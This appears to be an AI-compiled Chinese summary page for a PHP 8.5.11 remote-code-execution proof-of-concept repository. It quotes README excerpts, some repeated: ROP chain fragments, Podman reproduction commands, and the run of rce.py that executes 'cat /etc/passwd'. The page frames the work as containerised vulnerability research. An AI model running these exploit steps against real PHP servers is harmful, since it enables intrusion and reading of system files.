cookiengineer/actual-php2shell

选用指南

AI 根据 README 整理 · 2026/10/23 16:26:29

适用场景

用于在隔离的Podman容器环境中复现PHP 8.5.11的远程代码执行漏洞，验证漏洞修复效果，或研究PHP内存管理机制。

查看 README 依据

survives request shutdown and is re-freed by the next request. **This is the info-leak / ASLR-bypass primitive** (a separate demo here). Everything is fully reproducible in Podman containers. The confirmed end-to-end result is `./exploits/cve-2026-109618-oom/rce.py` reading `/etc/passwd`. --- ## 1. The vulnerability (CVE-2026-109618) When PHP runs out of memory it calls `zend_mm_safe_error()` → `zend_error_noreturn()` → `zend_bailout()` (`longjmp`). In 8.5.11 the hash-table insert is **not** allocation-fallible, so an OOM can unwind with a `HashTable` half-modified.

o+0x40 pop rdi; ret (r8 loaded by the pivot) o+0x48 &cmd (rdi) o+0x50 ret (stack alignment for movaps) o+0x58 system ``` ## 5. Reproduce Requires Podman. From the repo root: ```bash # build base + OOM + debug (gdb) images ./exploits/cve-2026-109618-oom/trace.sh build # run the vulnerable worker with ASLR disabled (setarch -R), port 8084 ./exploits/cve-2026-109618-oom/trace.sh up # exploit: OOM -> free_obj hijack -> system("cat /etc/passwd") python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084 ``` Expected output: ``` [+] RCE: read /etc/passwd:

目标用户

面向安全研究人员、漏洞分析师和PHP核心开发者，需要理解PHP内存管理和漏洞利用原理。

查看 README 依据

# actual-php2shell A reproducible, application-independent remote code execution PoC against PHP 8.5.11 (the October 2026 advisories). It turns the two 2026 PHP memory-corruption advisories into `system("cat /etc/passwd")` with **no application code** — the victim's `index.php` just echoes `ok`. - **CVE-2026-109618** — OOM `longjmp` abandons a half-built `HashTable`, leaving a dangling bucket that shutdown destroys. **This is the RCE primitive.** - **CVE-2026-109619** — request-owned error state (the fatal-error backtrace)

`B = b150->arData - 512` with the gdb tracer for a different image. - The victim is application-independent: `index.php` does no filesystem I/O and is not involved in the exploit. - Full findings and the step-by-step allocator reasoning are in `docs/`.

使用方式

通过命令行使用，需要Podman和Python3。先构建容器镜像，再启动漏洞环境，最后运行Python脚本进行攻击。

查看 README 依据

o+0x40 pop rdi; ret (r8 loaded by the pivot) o+0x48 &cmd (rdi) o+0x50 ret (stack alignment for movaps) o+0x58 system ``` ## 5. Reproduce Requires Podman. From the repo root: ```bash # build base + OOM + debug (gdb) images ./exploits/cve-2026-109618-oom/trace.sh build # run the vulnerable worker with ASLR disabled (setarch -R), port 8084 ./exploits/cve-2026-109618-oom/trace.sh up # exploit: OOM -> free_obj hijack -> system("cat /etc/passwd") python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084 ``` Expected output: ``` [+] RCE: read /etc/passwd:

部署要求

需要Podman容器环境，以及Python3来运行攻击脚本。

查看 README 依据

o+0x40 pop rdi; ret (r8 loaded by the pivot) o+0x48 &cmd (rdi) o+0x50 ret (stack alignment for movaps) o+0x58 system ``` ## 5. Reproduce Requires Podman. From the repo root: ```bash # build base + OOM + debug (gdb) images ./exploits/cve-2026-109618-oom/trace.sh build # run the vulnerable worker with ASLR disabled (setarch -R), port 8084 ./exploits/cve-2026-109618-oom/trace.sh up # exploit: OOM -> free_obj hijack -> system("cat /etc/passwd") python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084 ``` Expected output: ``` [+] RCE: read /etc/passwd:

已知限制

这是一个在ASLR关闭（setarch -R）条件下工作的PoC，地址固定。对于ASLR开启的情况，需要结合信息泄露漏洞获取堆基址。此外，B偏移量依赖于镜像环境，不同镜像需要重新测量。

查看 README 依据

memory-layout.md measured object graph + ROP + addresses heap-feng-shui.md the grooming progress log (§8.8–8.16 is the RCE chain) info-leak.md the info-leak / ASLR-bypass primitive exploit-plan.md / implementation-plan.md / tasks.md ``` ## 7. Scope / caveats - This is a **PoC with ASLR disabled** (`setarch -R`) so the addresses are fixed. For ASLR-on the heap base and module bases must come from the `cve-2026-109619-info-leak` primitive (`docs/info-leak.md`). - The `B` offset is image-dependent (installed libs shift the heap); re-measure

`B = b150->arData - 512` with the gdb tracer for a different image. - The victim is application-independent: `index.php` does no filesystem I/O and is not involved in the exploit. - Full findings and the step-by-step allocator reasoning are in `docs/`.